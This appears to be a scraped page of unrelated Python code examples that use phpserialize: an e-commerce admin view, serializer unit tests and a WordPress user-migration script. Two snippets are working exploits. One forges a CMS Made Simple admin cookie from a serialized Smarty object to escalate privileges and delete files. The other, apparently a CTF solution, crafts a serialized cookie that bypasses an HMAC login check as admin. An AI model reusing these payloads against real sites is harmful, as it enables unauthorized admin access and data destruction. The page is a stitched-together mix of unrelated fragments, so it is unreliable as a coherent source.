        messages.success(request, u'缓存设置成功')
    elif request.POST.get('type') == 'export_special_expired':
        response, writer = write_csv("special_expired_product")
        writer.writerow(["sku", "Orig_Price","Sale_Price","Created_Time", "Expired_Time", "Admin"])
        t = nowtime()
        queryset=Spromotions.objects.filter(expired__lt=t,product__status=1,product__visibility=1)
        for query in queryset:
            row = [
                str(query.product.sku),
                str(query.product.price),
                str(query.price),
                str(query.created),
                str(query.expired),
                str(),
            ]
            writer.writerow(row)
        return response
    
    #新品促销分类产品关联
    elif request.POST.get('type') == 'new_relate':
        #关联类型
        relate_type = request.POST.get('new_relate_selete','')
        if relate_type == 'one_week':
            relate_type = 1
        else:
            relate_type = 2
        #调用前台接口
        relate_type = demjson.encode(relate_type)

        url = settings.BASE_URL+'adminapi/new_relate'
        # url = 'http://local.oldchoies.com/adminapi/new_relate'
        req = urllib2.Request(url)
        response = urllib2.urlopen(req,urllib.urlencode({'relate_type':relate_type}))
       

        '''
        now = time.time()
        nowtime = now - (now % 86400) + time.timezone
        #关联一周数据操作
        if relate_type == 'one_week':
            #前一周时间
            lasttime = int(nowtime) - 7*86400
        else:
            #前两周时间
            lasttime = int(nowtime) - 14*86400
        #新品分类
        category = Category.objects.filter(link='new-product').first()
        #当前一周内上新的产品
        products = Product.objects.filter(visibility=1,display_date__gte=lasttime,display_date__lt=nowtime).all()
        #把该时间段内的新品关联到新品分类中
        for product in products:
            #更新产品分类关联表(手动创建的表)
            query, is_created = CategoryProduct.objects.get_or_create(category_id=category.id,product_id=product.id,deleted=0)
        '''

        messages.success(request, u"Relate "+relate_type+" new product Success!")


    #新品促销分类产品删除
    elif request.POST.get('type') == 'new_delete':
        category = Category.objects.filter(link='new-product').first()
        if category:
            #删除产品分类关联表(手动创建的表)
            result1 = CategoryProduct.objects.filter(category_id=category.id).delete()

            if result1:
                messages.success(request,u'Delete new product Success!')
                return redirect('cart_promition_data')
            else:
               messages.error(request ,u'Delete new product Failed!')
            return redirect('cart_promition_data') 
        else:
            messages.error(request ,u'无新品促销分类')
            return redirect('cart_promition_data')

    elif request.POST.get('type') == 'export_coupons_order':
        data = request.POST.get('coupons')
        print '---',data
        coupon = Coupons.objects.filter(code=data).first()
        if coupon:
            orders = Order.objects.filter(coupon_code=coupon.code).all()
            if orders:
                response, writer = write_csv("coupons_orders")
                writer.writerow(["Ordernum", "Amount", "Currency", "Created", "Payment_status"])
                for order in orders:
                    row = [
                        str(order.ordernum),
                        str(order.amount),
                        str(order.currency),
                        str(order.created),
                        str(order.payment_status),
                    ]
                    writer.writerow(row)
                return response
            else:
                messages.error(request,u'折扣号尚未使用')
        else:
            messages.error(request,u'折扣号不存在')
    else:
        context = {}
    return render(request, 'cart_handle.html', context)
Ejemplo n.º 46
0
#cookies name
cookies_title=m1.hexdigest() 


#unserialize pass now

#Escalate from editor user or designer user to admin
admin_index_url=domian+'/admin/index.php'
headers={ "User-Agent":user_agent,"Referer":admin_index_url}
res=requests.get(url=file_delete_url,headers=headers)
print 'File to delete:'+file_delete_url
print 'The current file content is:'+res.content
print
print 'Requesting the following page:'+admin_index_url
print 'Please wait for a moment...'
print

m2 = md5.new()
m2.update(path+'lib\classes\internal\class.LoginOperations.php')
temp_data_1=m2.hexdigest()
salt_data=[temp_data_1,ip,user_agent+version]
salt=hashlib.sha1(phpserialize.dumps(salt_data)).hexdigest()
make_data='TzoyNDoiU21hcnR5X0ludGVybmFsX1RlbXBsYXRlIjoyOntzOjY6InNtYXJ0eSI7Tzo2OiJTbWFydHkiOjE6e3M6MTM6ImNhY2hlX2xvY2tpbmciO2I6MTt9czo2OiJjYWNoZWQiO086MjI6IlNtYXJ0eV9UZW1wbGF0ZV9DYWNoZWQiOjM6e3M6OToiaXNfbG9ja2VkIjtiOjE7czo3OiJsb2NrX2lkIjtzOjY4OiJGOlx0b25nXHBocHN0dWR5XFBIUFR1dG9yaWFsXFdXV1xjbXNtYWRlc2ltcGxlLTIuMi42LWluc3RhbGxca2trLnR4dCI7czo3OiJoYW5kbGVyIjtPOjM0OiJTbWFydHlfSW50ZXJuYWxfQ2FjaGVSZXNvdXJjZV9GaWxlIjowOnt9fX0='
hash=hashlib.sha1(make_data+salt).hexdigest()#cookies value

test_admin_cookies={'_sk_':'aabbcc',cookies_title:hash+'::'+make_data}
requests.get(url=admin_index_url,headers=headers,cookies=test_admin_cookies)
print 'Try again:'+file_delete_url
res=requests.get(url=file_delete_url,headers=headers)
print 'The return content is:'+res.content
Ejemplo n.º 47
0
 def test_dumps_str(self):
     self.assertEqual(phpserialize.dumps('Hello world'),
                      b's:11:"Hello world";')
Ejemplo n.º 48
0
 def test_dumps_binary(self):
     self.assertEqual(phpserialize.dumps(b'\001\002\003'),
                      b's:3:"\x01\x02\x03";')
Ejemplo n.º 49
0
 def test_dumps_int(self):
     self.assertEqual(phpserialize.dumps(5), b'i:5;')
Ejemplo n.º 50
0
 def test_dumps_list(self):
     self.assertEqual(phpserialize.dumps([7, 8, 9]),
                      b'a:3:{i:0;i:7;i:1;i:8;i:2;i:9;}')
Ejemplo n.º 51
0
 def test_dumps_str(self):
     self.assertEqual(phpserialize.dumps('Hello world'),
                      b's:11:"Hello world";')
Ejemplo n.º 52
0
 def test_dumps_tuple(self):
     self.assertEqual(phpserialize.dumps((7, 8, 9)),
                      b'a:3:{i:0;i:7;i:1;i:8;i:2;i:9;}')
Ejemplo n.º 53
0
 def test_dumps_binary(self):
     self.assertEqual(phpserialize.dumps(b'\001\002\003'),
                      b's:3:"\x01\x02\x03";')
Ejemplo n.º 54
0
 def test_dumps_dict(self):
     self.assertEqual(phpserialize.dumps({
         'a': 1,
         'b': 2,
         'c': 3
     }), b'a:3:{s:1:"a";i:1;s:1:"c";i:3;s:1:"b";i:2;}')
Ejemplo n.º 55
0
 def test_dumps_tuple(self):
     self.assertEqual(phpserialize.dumps((7, 8, 9)),
                      b'a:3:{i:0;i:7;i:1;i:8;i:2;i:9;}')
Ejemplo n.º 56
0
 def test_dumps_int(self):
     self.assertEqual(phpserialize.dumps(5), b'i:5;')
Ejemplo n.º 57
0
 def test_dumps_and_loads_dict(self):
     self.assertEqual(phpserialize.loads(phpserialize.dumps({'a': 1, 'b': 2, 'c': 3}),
                      decode_strings=True), {'a': 1, 'b': 2, 'c': 3})
Ejemplo n.º 58
0
 def test_tuple_roundtrips(self):
     x = phpserialize.loads(phpserialize.dumps(list(range(2))))
     self.assertEqual(x, {0: 0, 1: 1})
     y = phpserialize.dict_to_tuple(x)
     self.assertEqual(y, (0, 1))
Ejemplo n.º 59
0
    url = "http://www.csie.ntu.edu.tw/~b99902063/index.php"

username = '******'
password = '******'
key = '123'

salt = hashlib.sha512()
salt.update('a' * 32)
hmac_salt = salt.hexdigest()

hmac = hmac.new(key, username + hmac_salt + password,
                hashlib.sha512).hexdigest()

obj = {
    'username': ['admin'],
    'password': ['x'],
    'hmac': None,
    'hmac_salt': ['x']
}
cookie = base64.b64encode(phpserialize.dumps(obj))
print cookie

payload = {'user': '******', 'pass': '******'}

#cookie = "YTo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJobWFjIjtzOjEyODoiMWU2YWIzNmE5YzYxNjEyODEyYjk3ZDNlNGRkNTdjNTJiYzI3YzEwYmM3NmRiNzZjMGIzZmI4NTY5MDZlNDhjM2YzMTEyYWQ5OWY3ODdmYzU0OTRmNTI2NDNlYmY5MzNmNmVhMzhjZTQ1MjZkNjE2MDQxNzRiNWFiNDA4YTEwODIiO3M6OToiaG1hY19zYWx0IjtzOjEyODoiMWE3YTJiNDNkOTUxYWFlMGQ0ZTJhYTk1YmNkNzY4ZDc0YmZjNzJhNjdiZDVmODAyNTg3YjI3OGY3MjNjYzI1NjgwZTFlMDkxMjhiNzZkN2Y1ZjVlODhmNGNiMGJlZTUzZmQ2ZmQwOGMxNDYzM2M5M2I1ZjI4ZDc2ODdjOTJjNzAiO30"
cookie = "a%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22%3F%3F%3F%22%3Bs%3A4%3A%22hmac%22%3Bs%3A33%3A%22https%3A%2F%2Fgithub.com%2Fctfs%2Fwrite-ups%22%3Bs%3A9%3A%22hmac_salt%22%3BR%3A4%3B%7D"
cookies = {'auth': cookie}
#r = requests.post(url, data=payload, headers=headers)
r = requests.get(url, cookies=cookies)
print r.text
Ejemplo n.º 60
0
def handleUser(userId):
    logging.info(f'handle user {userId}')
    try:
        user = a.User.q.filter(a.User.id == userId).first()
        if user == None:
            logging.error(f'user with user.id:{userId} not found')
            return

        if user.staffPageDescriptionJson is not None:
            description = json.loads(user.staffPageDescriptionJson)
        else:
            description = json.loads('{"de": ""}')

        if user.emailAddressNew is not None:
            email = user.emailAddressNew
        else:
            email = user.emailAddress

        roles = ['author']

        if user.roleAssignmentsJson == None:
            roles = ["subscriber"]
        else:
            # TODO: use better capability mapping at this point
            roles = ["author"]

        # de-activated user get a cryptic email and empty roles
        if user.deactivationDate != None or re.match(r"_DA_\d*$", email):
            email = re.sub(r"_DA_\d*$", "", email)
            email = f'DA___{email}'
            logging.info(f'usering mail: {email}')
            roles = []

        if len(roles) > 0:
            # [{x: True}   for x in payload['roles']]
            capabilities = {roles[0]: True}
            capabilities = phpserialize.dumps(capabilities)
        else:
            capabilities = ''

        # email = re.sub(r"_DA_\d*$", "", email)
        name = user.communityName.split(' ')
        if len(name) > 1:
            firstName = name[0]
            lastName = name[1]
        else:
            firstName = name[0]
            lastName = ''

        userslug = slugify(email)

        wp_user = w.User.q.join(w.UserMeta).filter(
            w.UserMeta.meta_key == 'legacy_user_id',
            w.UserMeta.meta_value == f'{user.id}').first()
        if wp_user == None:
            wp_user = w.User(user_login=email,
                             user_pass=user.passwordSHA,
                             user_nicename=user.communityName,
                             user_email=email,
                             user_url=userslug,
                             user_registered=user.creationDate,
                             user_status=0,
                             display_name=user.communityName,
                             user_activation_key='')

        wp_user.addMeta('legacy_user_id', user.id)
        wp_user.addMeta('nickname', email)
        wp_user.addMeta('first_name', firstName)
        wp_user.addMeta('last_name', lastName)
        wp_user.addMeta('locale', user.locale)
        wp_user.addMeta('description', description.get('de'))
        wp_user.addMeta('wp_capabilities', capabilities)

        w.session.add(wp_user)
        w.session.commit()

        if user.image == None:
            logging.info(f'user.image is NONE {user.id}')
            return wp_user

        if user.image.url != None:
            props = {
                "meta": {
                    "legacy_userimage_id": f'{user.image.id}'
                },
                "author": wp_user.ID
            }

            logging.info(f'checking userimage_id {user.image.id}')
            existingImage = w.PostMeta.q.filter(
                w.PostMeta.meta_key == 'legacy_userimage_id',
                w.PostMeta.meta_value == f'{user.image.id}').first()

            logging.info(f'existing image? {existingImage}')
            if existingImage != None:
                logging.info(
                    'userimage already existed, returning without upload')
                return wp_user

            mediaId = w.createMediaFromUrl(user.image.url,
                                           user.image.mimeType,
                                           props=props)

            wp_user.addMeta('wp_user_avatar', mediaId)
            w.session.commit()

        return wp_user
    except Exception as e:
        logging.error(e)
        return None